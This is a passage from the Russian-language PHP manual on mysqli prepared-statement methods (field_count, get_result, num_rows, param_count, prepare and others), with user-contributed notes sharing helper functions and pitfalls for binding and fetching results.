I tried the mentioned stmt_bind_assoc() function, but somehow, very strangely it doesn't allow the values to be written in an array! In the while loop, the row is fetched correctly, but if I write $array[] = $row;, the array will be filled up with the last element of the dataset... Unfortunately I couldn't find a solution.
Lyndon 23-Apr-2008 05:38
This function uses the same idea as the last, but instead binds the fields to a given array.
<?php
function stmt_bind_assoc (&$stmt, &$out) {
    $data = mysqli_stmt_result_metadata($stmt);
    $fields = array();
    $out = array();

    $fields[0] = $stmt;
    $count = 1;

    while($field = mysqli_fetch_field($data)) {
        $fields[$count] = &$out[$field->name];
        $count++;
    }
    call_user_func_array(mysqli_stmt_bind_result, $fields);
}

// example

$stmt = $mysqli->prepare("SELECT name, userid FROM somewhere");
$stmt->execute();

$row = array();
stmt_bind_assoc($stmt, $row);

// loop through all result rows
while ($stmt->fetch()) {
    print_r($row);
}
?>
dan dot latter at gmail dot com 16-Aug-2007 12:14
The following function taken from PHP Cookbook 2, returns an associative array of a row in the resultset, place in while loop to iterate through whole result set.

<?php
public function fetchArray () {
   $data = mysqli_stmt_result_metadata($this->stmt);
        $fields = array();
        $out = array();

        $fields[0] = &$this->stmt;
        $count = 1;

        while($field = mysqli_fetch_field($data)) {
            $fields[$count] = &$out[$field->name];
            $count++;
        }

        call_user_func_array(mysqli_stmt_bind_result, $fields);
        mysqli_stmt_fetch($this->stmt);
        return (count($out) == 0) ? false : $out;

    }
?>
Typer85 at gmail dot com 27-Dec-2006 05:55
Just a side note,

I see many people are contributing in ways to help return result sets for prepared statements in ASSOSITAVE arrays the same as the mysqli_fetch_assos function might return from a normal query issued via mysqli_query.

This is done, in all the examples I have seen, by dynamically getting the field names in the prepared statement and binding them using 'variable' variables, which are variables that are created dynamically with the name of the field names.

Some thing though you should take into consideration is illegal variable names in PHP. Assume that you have a field name in your database table named 'My Field' , notice the space between 'My' and 'Field'.

To dynamically create this variable is illegal in PHP as variables can not have spaces in them. Furthermore, you won't be able to access the binded data as you can not reference a variable like so:

<?php

// Syntax Error.

echo $My Table;

?>

The only suitable solution I find now is to replace all spaces in a field name with an underscore so that you can use the binded variable like so:

<?php

// This Works.

echo $My_Table;

// Notice the space is now replaced with an underscore.

?>

All you simply have to do is before you dynamically bind the data, so a string search for any spaces in the table name, replace them with an underscore, THEN bind the variable.

That way you should not run into problems.
php at johnbaldock dot co dot uk 09-Nov-2006 01:33
Having just learned about call_user_func_array I reworked my fetch_assoc example. Swapping the following code makes for a more elegant (and faster) solution.

Using:
<?php
while ($columnName = $meta->fetch_field()) {
    $columns[] = &$results[$columnName->name];
}
call_user_func_array(array($stmt, 'bind_result'), $columns);
?>

Instead of this code from my example below:
<?php
$bindResult = '$stmt->bind_result(';
while ($columnName = $meta->fetch_field()) {
   $bindResult .= '$results["'.$columnName->name.'"],';
}
$bindResult = rtrim($bindResult, ',') . ');';
eval($bindResult);
?>

The full reworked fetch_assoc code for reference:
<?php
$mysqli = new mysqli($dbHost, $dbUsername, $dbPassword, $dbDatabase);
$stmt = $mysqli->prepare('select * from foobar');
$stmt->execute();
$stmt->store_result();
$meta = $stmt->result_metadata();

while ($column = $meta->fetch_field()) {
   $bindVarsArray[] = &$results[$column->name];
}
call_user_func_array(array($stmt, 'bind_result'), $bindVarsArray);

$stmt->fetch();

echo var_dump($results);
// outputs:
//
// array(3) {
//  ["id"]=>
//  &int(1)
//  ["foo"]=>
//  &string(11) "This is Foo"
//  ["bar"]=>
//  &string(11) "This is Bar"
// }
?>
php at johnbaldock dot co dot uk 23-Oct-2006 01:07
I wanted a simple way to get the equivalent of fetch_assoc when using a prepared statement. I came up with the following:

<?php
$mysqli = new mysqli($dbHost, $dbUsername, $dbPassword, $dbDatabase);
$stmt = $mysqli->prepare('select * from foobar');
$stmt->execute();
$stmt->store_result();
$meta = $stmt->result_metadata();

// the following creates a bind_result string with an argument for each column in the query
// e.g. $stmt->bind_result($results["id"], $results["foo"], $results["bar"]);
$bindResult = '$stmt->bind_result(';
while ($columnName = $meta->fetch_field()) {
    $bindResult .= '$results["'.$columnName->name.'"],';
}
$bindResult = rtrim($bindResult, ',') . ');';

// executes the bind_result string
eval($bindResult);
$stmt->fetch();

echo var_dump($results);
// outputs:
//
// array(3) {
//   ["id"]=>
//   &int(1)
//   ["foo"]=>
//   &string(11) "This is Foo"
//   ["bar"]=>
//   &string(11) "This is Bar"
// }
?>
andrey at php dot net 27-Apr-2005 11:37
IMPORTANT note: Be careful when you use this function with big result sets or with BLOB/TEXT columns. When one or more columns are of type (MEDIUM|LONG)(BLOB|TEXT) and ::store_result() was not called mysqli_stmt_fetch() will try to allocate at least 16MB for every such column. It _doesn't_ matter that the longest value in the result set is for example 30 bytes, 16MB will be allocated. Therefore it is not the best idea ot use binding of parameters whenever fetching big data. Why? Because once the data is in the mysql result set stored in memory and then second time in the PHP variable.


Возвращает число столбцов в заданном выражении

  • « mysqli_stmt::fetch
  • mysqli_stmt::free_result »
  • PHP Manual
  • mysqli_stmt
  • Возвращает число столбцов в заданном выражении

mysqli_stmt::$field_count

mysqli_stmt_field_count

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$field_count -- mysqli_stmt_field_count — Возвращает число столбцов в заданном выражении

Описание

Объектно-ориентированный стиль

int $mysqli_stmt->field_count;

Процедурный стиль

mysqli_stmt_field_count(mysqli_stmt $statement): int

Возвращает число столбцов в подготовленном выражении.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Возвращает целое число, представляющее количество столбцов.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$code = 'FR';

$stmt = $mysqli->prepare("SELECT Name FROM Country WHERE Code=?");
$stmt->bind_param('s', $code);
$stmt->execute();
$row = $stmt->get_result()->fetch_row();
for ($i = 0; $i < $stmt->field_count; $i++) {
printf("Значение номера столбца %d - %s", $i, $row[$i]);
}

Пример #2 Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$code = 'FR';

$stmt = mysqli_prepare($mysqli, "SELECT Name FROM Country WHERE Code=?");
mysqli_stmt_bind_param($stmt, 's', $code);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$row = mysqli_fetch_row($result);
for ($i = 0; $i < mysqli_stmt_field_count($stmt); $i++) {
printf("Значение номера столбца %d - %s", $i, $row[$i]);
}

Результатом выполнения данных примеров будет что-то подобное:

Значение номера столбца 0 - France

Смотрите также

  • mysqli_stmt_num_rows() - Возвращает количество строк, полученных с сервера

User Contributed Notes

There are no user contributed notes for this page.


Освобождает память от результата запроса, указанного дескриптором

  • « mysqli_stmt::$field_count
  • mysqli_stmt::get_result »
  • PHP Manual
  • mysqli_stmt
  • Освобождает память от результата запроса, указанного дескриптором

mysqli_stmt::free_result

mysqli_stmt_free_result

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::free_result -- mysqli_stmt_free_result — Освобождает память от результата запроса, указанного дескриптором

Описание

Объектно-ориентированный стиль

public mysqli_stmt::free_result(): void

Процедурный стиль

mysqli_stmt_free_result(mysqli_stmt $statement): void

Освобождает от результата запроса память, которая была зарезервирована с помощью mysqli_stmt_store_result().

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • mysqli_stmt_store_result() - Сохраняет набор результатов во внутреннем буфере

User Contributed Notes

There are no user contributed notes for this page.


Получает результат из подготовленного запроса в виде объекта mysqli_result

  • « mysqli_stmt::free_result
  • mysqli_stmt::get_warnings »
  • PHP Manual
  • mysqli_stmt
  • Получает результат из подготовленного запроса в виде объекта mysqli_result

mysqli_stmt::get_result

mysqli_stmt_get_result

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli_stmt::get_result -- mysqli_stmt_get_result — Получает результат из подготовленного запроса в виде объекта mysqli_result

Описание

Объектно-ориентированный стиль

public mysqli_stmt::get_result(): mysqli_result|false

Процедурный стиль

mysqli_stmt_get_result(mysqli_stmt $statement): mysqli_result|false

Извлекает набор результатов из подготовленного запроса в виде объекта mysqli_result. Данные будут загружены с сервера MySQL в PHP. Метод следует вызывать только для запросов, которые производят набор результатов.

Замечание:

Доступно только с модулем mysqlnd.

Замечание:

Эту функцию нельзя использовать совместно с mysqli_stmt_store_result(). Обе эти функции получают полный набор результатов с сервера MySQL.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Возвращает false в случае возникновения ошибки. Для успешных запросов, которые производят набор результатов, таких как SELECT, SHOW, DESCRIBE или EXPLAIN mysqli_stmt_get_result() вернёт объект mysqli_result. Для других успешных запросов mysqli_stmt_get_result() вернёт false. Функцию mysqli_stmt_errno() можно использовать, чтобы различать две причины появления false; из-за ошибки до PHP 7.4.13 для этой цели приходилось использовать mysqli_errno().

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, Population, Continent FROM Country WHERE Continent=? ORDER BY Name LIMIT 1";

$stmt = $mysqli->prepare($query);
$stmt->bind_param("s", $continent);

$continentList = array('Europe', 'Africa', 'Asia', 'North America');

foreach ($continentList as $continent) {
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_array(MYSQLI_NUM)) {
foreach ($row as $r) {
print "$r ";
}
print "\n";
}
}

Пример #2 Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, Population, Continent FROM Country WHERE Continent=? ORDER BY Name LIMIT 1";

$stmt = mysqli_prepare($link, $query);
mysqli_stmt_bind_param($stmt, "s", $continent);

$continentList= array('Europe', 'Africa', 'Asia', 'North America');

foreach ($continentList as $continent) {
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
while ($row = mysqli_fetch_array($result, MYSQLI_NUM)) {
foreach ($row as $r) {
print "$r ";
}
print "\n";
}
}

Результатом выполнения данных примеров будет что-то подобное:

Albania 3401200 Europe
Algeria 31471000 Africa
Afghanistan 22720000 Asia
Anguilla 8000 North America

Смотрите также

  • mysqli_prepare() - Подготавливает SQL выражение к выполнению
  • mysqli_stmt_result_metadata() - Возвращает метаданные результирующей таблицы подготавливаемого запроса
  • mysqli_stmt_fetch() - Связывает результаты подготовленного выражения с переменными
  • mysqli_fetch_array() - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив, обычный массив или в оба
  • mysqli_stmt_store_result() - Сохраняет набор результатов во внутреннем буфере

User Contributed Notes

HeadlessDev 26-Jul-2019 09:47
Thanks to everyone that leaves notes, without them I would not be able to do what I do. I wrote this function with help from notes on this page and others.

I did not have mysqlnd available to me, but wanted to be able to get_result() of a query as an object.

PLEASE NOTE: I am not an expert at PHP

Heres an example of using my get_result() to login users
<?php
    //Sanitize input before using this function
    function login($email, $password){
        require 'connect_db.php';
        $query = $sql->stmt_init();
        if($query->prepare("SELECT CustomerId, Password, Admin FROM users WHERE Email = ?")){
            $query->bind_param("s",$email);
            $result = get_result($query); //USING FUNCTION  HERE
            if($result != NULL){
                $user = $result[0];
                if(password_verify($password, $user->Password)){
                    $_SESSION['user_id'] = $user->CustomerId;
                    if($user->Admin == 1){
                        $_SESSION['admin'] = true;
                    }
                    $sql->close();
                    return true;
                }
            }
        }
        $sql->close();
        //If we get here they are not logged in
        return false;
    }

    //Returns an array with each row as an object
    function get_result($stmt){
        $stmt->execute(); //Execute query
        $stmt->store_result(); //Store the results
        $num_rows = $stmt->num_rows; //Get the number of results
        $results = NULL;
        if($num_rows > 0){
            //Get metadata about the results
            $meta = $stmt->result_metadata();
            //Here we get all the column/field names and create the binding code
            $bind_code = "return mysqli_stmt_bind_result(\$stmt, ";
            while($_field = $meta->fetch_field()){
                $bind_code .= "\$row[\"".$_field->name."\"], ";
            }
            //Replace trailing ", " with ");"
            $bind_code = substr_replace($bind_code,");", -2);
           //Run the code, if it doesn't work return NULL
            if(!eval($bind_code)) {
                $stmt->close();
                return NULL;
            }
            //This is where we create the object and add it to our final result array
            for($i=0;$i<$num_rows;$i++){
               //Gets the row by index
                $stmt->data_seek($i);
                //Update bound variables used in $bind_code with new row values
                $stmt->fetch();
                foreach($row as $key=>$value){
                    //Create array using the column/field name as the index
                    $_result[$key] = $value;
                }
                //Cast $_result to object and append to our final results
                $results[$i] = (object)$_result;
            }
        }
        $stmt->close();
        return $results;
    }
?>
jeffspicer at gmail dot com 30-Jun-2018 06:59
To prevent others from hours of screaming trying to figure out why this does not work when you have the native driver enabled.  It is because you need to make sure you enable both native drives mysqlnd and nd_mysqli on your server if you wish to use this functionality.

Otherwise just enabling the mysqlnd native driver does include the mysqli_stmt_get_result function as this apparently resides in the nd_mysqli native driver.  Unfortunately, most documentation only ever talks about the mysqlnd native driver.

Once you enable both native drivers this function works as documented.
Anon 22-Jun-2018 06:22
Please OH PLEASE.
I have been trying to get a result set from this function, and I had 0 luck completely, for nearly 3 hours!

If you ARE using mysqli_stmt_get_results() to get a result set, in conjuction with mysqli_stmt_store_results in order to retrieve the number of rows returned, you are going to have some major trouble!

PHP Documentation states that to retrieve the number of rows returned by a prepared select sql statement, one should call the following statements respectively:

mysqli_stmt_execute($stmt);
mysqli_stmt_store_result($stmt);
$num_rows = mysqli_stmt_num_rows($stmt);

THIS IS A MAJOR DEATH TRAP, IF YOU ARE USING mysqli_stmt_get_result() in conjunction!!!! Results of doing so vary depending which statements you call first, but in the end, you will NOT get the desired result.

In conclusion, please, PLEASE, NEVER use mysqli_stmt_store_result(), then mysqli_ AND mysqli_stmt_get_result() at the the same time. This is a MAJOR death trap.

SOLUTION:
If you are trying to get a result set, and you need the number of rows returned at the same time, use the following statements respectively instead:

$result_set = mysqli_stmt_get_results($stmt);
$num_rows = mysqli_num_rows($result_set);

Reflecting on my actions, this solution may seem fairly obvious. However, to someone new using PHP (like me) or someone who is not fully comfortable with prepared statements, it's very easy to get lost by using Google and learn on your own.

Summary:
NEVER use mysqli_stmt_store_result($stmt) & mysqli_stmt_num_rows($stmt) in conjunction with mysqli_stmt_get_result($stmt). You will regret it!! I have been stuck on this for hours, and Google offered me no answer!
Haravikk 28-Oct-2016 01:43
For those interested, this function seems to always produce a stored result, making it equivalent to mysqli::store_result(), rather than fetching on demand as in the case of mysqli::use_result().

This is important as it means that you cannot control the nature of the result as you would normally by calling mysqli_stmt::store_result() prior to fetching, as I had personally expected.

So, if you want to emulate the behaviour of mysqli::use_result() you will still need to use mysqli_stmt::bind_param() and mysqli_stmt::fetch().
Anonymous 06-Oct-2013 08:39
I went through a lot of trouble on a server where mysqlnd wasn't available, and had a lot of headaches.

If you don't have mysqlnd installed/loaded whatever, you will get an undefined reference when trying to call "mysqli_stmt_get_result()".

I wrote my own mysqli_stmt_get_result() and a mysqli_result_fetch_array() to go with it.

<?php
class iimysqli_result
{
    public $stmt, $nCols;
}

function iimysqli_stmt_get_result($stmt)
{
    /**    EXPLANATION:
     * We are creating a fake "result" structure to enable us to have
     * source-level equivalent syntax to a query executed via
     * mysqli_query().
     *
     *    $stmt = mysqli_prepare($conn, "");
     *    mysqli_bind_param($stmt, "types", ...);
     *
     *    $param1 = 0;
     *    $param2 = 'foo';
     *    $param3 = 'bar';
     *    mysqli_execute($stmt);
     *    $result _mysqli_stmt_get_result($stmt);
     *        [ $arr = _mysqli_result_fetch_array($result);
     *            || $assoc = _mysqli_result_fetch_assoc($result); ]
     *    mysqli_stmt_close($stmt);
     *    mysqli_close($conn);
     *
     * At the source level, there is no difference between this and mysqlnd.
     **/
    $metadata = mysqli_stmt_result_metadata($stmt);
    $ret = new iimysqli_result;
    if (!$ret) return NULL;

    $ret->nCols = mysqli_num_fields($metadata);
    $ret->stmt = $stmt;

    mysqli_free_result($metadata);
    return $ret;
}

function iimysqli_result_fetch_array(&$result)
{
    $ret = array();
    $code = "return mysqli_stmt_bind_result(\$result->stmt ";

    for ($i=0; $i<$result->nCols; $i++)
    {
        $ret[$i] = NULL;
        $code .= ", \$ret['" .$i ."']";
    };

    $code .= ");";
    if (!eval($code)) { return NULL; };

    // This should advance the "$stmt" cursor.
    if (!mysqli_stmt_fetch($result->stmt)) { return NULL; };

    // Return the array we built.
    return $ret;
}
?>

Hope this helps someone.
jari dot wiklund at gmail dot com 16-Sep-2011 01:03
Please note that this method requires the mysqlnd driver. Othervise you will get this error: Call to undefined method mysqli_stmt::get_result()


Получает результат от SHOW WARNINGS

  • « mysqli_stmt::get_result
  • mysqli_stmt::$insert_id »
  • PHP Manual
  • mysqli_stmt
  • Получает результат от SHOW WARNINGS

mysqli_stmt::get_warnings

mysqli_stmt_get_warnings

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

mysqli_stmt::get_warnings -- mysqli_stmt_get_warnings — Получает результат от SHOW WARNINGS

Описание

Объектно-ориентированный стиль

public mysqli_stmt::get_warnings(): mysqli_warning|false

Процедурный стиль

mysqli_stmt_get_warnings(mysqli_stmt $statement): mysqli_warning|false
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

There are no user contributed notes for this page.


Получает ID, сгенерированный предыдущей операцией INSERT

  • « mysqli_stmt::get_warnings
  • mysqli_stmt::more_results »
  • PHP Manual
  • mysqli_stmt
  • Получает ID, сгенерированный предыдущей операцией INSERT

mysqli_stmt::$insert_id

mysqli_stmt_insert_id

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$insert_id -- mysqli_stmt_insert_id — Получает ID, сгенерированный предыдущей операцией INSERT

Описание

Объектно-ориентированный стиль

int|string $mysqli_stmt->insert_id;

Процедурный стиль

mysqli_stmt_insert_id(mysqli_stmt $statement): int|string
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

Aurelien Marchand 07-Apr-2015 03:59
for those with zerofilled IDs beware as mysqli_stmt::$insert_id will return an integer. In other words, if the ID returned from your query was #000099, the value produced by mysqli_stmt::$insert_id is now #99.

I have not found a way to fix this beside using sprintf('%06d',$id) but this assumes you know in advance the size of the ID beforehand.
hgernhardt at tcnewengland dot org 07-Feb-2011 07:33
It should be noted that using mysqli_stmt->insert_id will not result in a unique ID being returned for each execution of a prepared insert statement.  In practice, it appears that the first insertion ID is returned.  If you are performing multiple inserts with the same prepared statement (one invocation of mysqli_stmt::prepare and multiple invocations of mysqli_stmt::execute() for a given statement), and need to keep the unique ID for each insert, use mysqli_connection->insert_id.


Проверяет, есть ли ещё наборы строк в результате мультизапроса

  • « mysqli_stmt::$insert_id
  • mysqli_stmt::next_result »
  • PHP Manual
  • mysqli_stmt
  • Проверяет, есть ли ещё наборы строк в результате мультизапроса

mysqli_stmt::more_results

mysqli_stmt_more_results

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli_stmt::more_results -- mysqli_stmt_more_results — Проверяет, есть ли ещё наборы строк в результате мультизапроса

Описание

Объектно-ориентированный стиль:

public mysqli_stmt::more_results(): bool

Процедурный стиль:

mysqli_stmt_more_results(mysqli_stmt $statement): bool

Проверяет, есть ли ещё наборы строк в результате мультизапроса.

Замечание:

Доступно только с модулем mysqlnd.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Возвращает true, если ещё есть доступные результирующие наборы, false в противном случае.

Смотрите также

  • mysqli_stmt::next_result() - Читает следующий набор строк из мультизапроса
  • mysqli::multi_query() - Выполняет один или несколько запросов к базе данных

User Contributed Notes

There are no user contributed notes for this page.


Читает следующий набор строк из мультизапроса

  • « mysqli_stmt::more_results
  • mysqli_stmt::$num_rows »
  • PHP Manual
  • mysqli_stmt
  • Читает следующий набор строк из мультизапроса

mysqli_stmt::next_result

mysqli_stmt_next_result

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli_stmt::next_result -- mysqli_stmt_next_result — Читает следующий набор строк из мультизапроса

Описание

Объектно-ориентированный стиль

public mysqli_stmt::next_result(): bool

Процедурный стиль:

mysqli_stmt_next_result(mysqli_stmt $statement): bool

Читает следующий набор строк из мультизапроса.

Замечание:

До PHP 8.1.0, функция доступна только с mysqlnd.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Список изменений

Версия | Описание
8.1.0 | Теперь также доступно при сборке с libmysqlclient.

Смотрите также

  • mysqli_stmt::more_results() - Проверяет, есть ли ещё наборы строк в результате мультизапроса
  • mysqli::multi_query() - Выполняет один или несколько запросов к базе данных

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество строк, полученных с сервера

  • « mysqli_stmt::next_result
  • mysqli_stmt::$param_count »
  • PHP Manual
  • mysqli_stmt
  • Возвращает количество строк, полученных с сервера

mysqli_stmt::$num_rows

mysqli_stmt::num_rows

mysqli_stmt_num_rows

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$num_rows -- mysqli_stmt::num_rows -- mysqli_stmt_num_rows — Возвращает количество строк, полученных с сервера

Описание

Объектно-ориентированный стиль

int|string $mysqli_stmt->num_rows;
public mysqli_stmt::num_rows(): int|string

Процедурный стиль

mysqli_stmt_num_rows(mysqli_stmt $statement): int|string

Возвращает количество строк, помещённых в буфер в выражении. Функция будет работать только после вызова mysqli_stmt_store_result() для буферизации всего набора результатов в дескрипторе оператора.

Функция возвращает 0, если с сервера не были получены все строки.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Целое число (int), представляющее количество буферизованных строк. Возвращает 0 в небуферизованном режиме, если с сервера не были получены все строки.

Замечание:

Если количество строк больше, чем PHP_INT_MAX, число будет возвращено как строка (string).

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
$stmt = $mysqli->prepare($query);
$stmt->execute();

/* сохранение результата во внутреннем буфере */
$stmt->store_result();

printf("Число строк: %d.\n", $stmt->num_rows);

Пример #2 Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
$stmt = mysqli_prepare($link, $query);
mysqli_stmt_execute($stmt);

/* сохранение результата во внутреннем буфере */
mysqli_stmt_store_result($stmt);

printf("Число строк: %d.\n", mysqli_stmt_num_rows($stmt));

Результат выполнения данных примеров:

Число строк: 20.

Смотрите также

  • mysqli_stmt_store_result() - Сохраняет набор результатов во внутреннем буфере
  • mysqli_stmt_affected_rows() - Возвращает общее количество строк, изменённых, удалённых, вставленных или сопоставленных последним выполненным выражением
  • mysqli_prepare() - Подготавливает SQL выражение к выполнению

User Contributed Notes

Typer85 at gmail dot com 27-Dec-2006 04:12
Please be advised, for people who sometimes miss to read this important Manual entry for this function:

If you do not use mysqli_stmt_store_result( ), and immediatley call this function after executing a prepared statement, this function will usually return 0 as it has no way to know how many rows are in the result set as the result set is not saved in memory yet.

mysqli_stmt_store_result( ) saves the result set in memory thus you can immedietly use this function after you both execute the statement AND save the result set.

If you do not save the result set but still want to use this function you have to actually loop through the result set one row at a time using mysqli_stmt_fetch( ) before using this function to determine the number of rows.

A thought though, if you want to determine the number of rows without storing the result set and after looping through it, why not just simply keep an internal counter in your loop every time a row is fetched and save the function call.

In short, this function is only really useful if you save the result set and want to determine the number of rows before looping through it, otherwise you can pretty much recreate its use like I suggested.


Возвращает количество параметров в запросе

  • « mysqli_stmt::$num_rows
  • mysqli_stmt::prepare »
  • PHP Manual
  • mysqli_stmt
  • Возвращает количество параметров в запросе

mysqli_stmt::$param_count

mysqli_stmt_param_count

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$param_count -- mysqli_stmt_param_count — Возвращает количество параметров в запросе

Описание

Объектно-ориентированный стиль

int $mysqli_stmt->param_count;

Процедурный стиль

mysqli_stmt_param_count(mysqli_stmt $statement): int

Возвращает количество меток параметров в подготовленном запросе.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Возвращает целое число равное количеству параметров.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* проверяем соединение */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

if ($stmt = $mysqli->prepare("SELECT Name FROM Country WHERE Name=? OR Code=?")) {

$marker = $stmt->param_count;
printf("В запросе %d меток.\n", $marker);

/* закрываем запрос */
$stmt->close();
}

/* закрываем соединение */
$mysqli->close();
?>

Пример #2 Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* проверяем соединение */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

if ($stmt = mysqli_prepare($link, "SELECT Name FROM Country WHERE Name=? OR Code=?")) {

$marker = mysqli_stmt_param_count($stmt);
printf("В запросе %d меток.\n", $marker);

/* закрываем запрос */
mysqli_stmt_close($stmt);
}

/* закрываем соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

В запросе 2 меток.

Смотрите также

  • mysqli_prepare() - Подготавливает SQL выражение к выполнению

User Contributed Notes

Senthryl 10-Mar-2009 11:47
This parameter (and presumably any other parameter in mysqli_stmt) will raise an error with the message "Property access is not allowed yet" if the statement was not prepared properly, or not prepared at all.

To prevent this, always ensure that the return value of the "prepare" statement is true before accessing these properties.


Подготавливает утверждение SQL к выполнению

  • « mysqli_stmt::$param_count
  • mysqli_stmt::reset »
  • PHP Manual
  • mysqli_stmt
  • Подготавливает утверждение SQL к выполнению

mysqli_stmt::prepare

mysqli_stmt_prepare

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::prepare -- mysqli_stmt_prepare — Подготавливает утверждение SQL к выполнению

Описание

Объектно-ориентированный стиль

public mysqli_stmt::prepare(string $query): bool

Процедурный стиль

mysqli_stmt_prepare(mysqli_stmt $statement, string $query): bool

Подготавливает утверждение к выполнению. Запрос должен состоять из одного оператора SQL.

Шаблон утверждения может содержать ноль или несколько вопросительных знаков (?), меток параметров, также называемых заполнителями. Метки параметров должны быть привязаны к переменным приложения с помощью mysqli_stmt_bind_param() перед выполнением утверждения. строк.

Замечание:

В случае, если длина выражения, которое передаётся в mysqli_stmt_prepare(), больше, чем max_allowed_packet сервера, возвращаемые коды ошибки могут различаться в зависимости от используемого драйвера. А это может быть либо родной MySQL-драйвер (mysqlnd), либо клиентская библиотека MySQL (libmysqlclient). Поведение функции будет следующим:

  • mysqlnd на платформе Linux возвращает код ошибки 1153. Сообщение об ошибке означает размер пакета превышает max_allowed_packet байт.

  • mysqlnd на платформе Windows возвращает код ошибки 2006. Это сообщение об ошибке означает сервер недоступен.

  • libmysqlclient на всех платформах возвращает код ошибки 2006. Это сообщение об ошибке означает сервер недоступен.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

query

Текст запроса в виде строки. Запрос должен состоять из одного SQL-выражения.

Утверждение SQL может содержать ноль или более меток параметров, представленных знаками вопроса (?) в соответствующих позициях.

Замечание:

Метки параметров запроса можно встраивать только в определённые места в выражении. Например, они допустимы в списке VALUES() выражения INSERT (чтобы задать значения столбцов для строки), или в операциях сравнения предложения WHERE для задания сравниваемого значения. Однако, эти метки недопустимы в качестве идентификаторов (таких как имена столбцов или таблиц).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Пример использования mysqli_stmt::prepare()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$city = "Amersfoort";

/* Создаём подготовленное утверждение */
$stmt = $mysqli->stmt_init();
$stmt->prepare("SELECT District FROM City WHERE Name=?");

/* Связываем переменные с метками */
$stmt->bind_param("s", $city);

/* Выполняем запрос */
$stmt->execute();

/* Связываем переменные результата */
$stmt->bind_result($district);

/* Получаем значение */
$stmt->fetch();

printf("%s находится в районе %s\n", $city, $district);

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$city = "Amersfoort";

/* Создаём подготовленное утверждение */
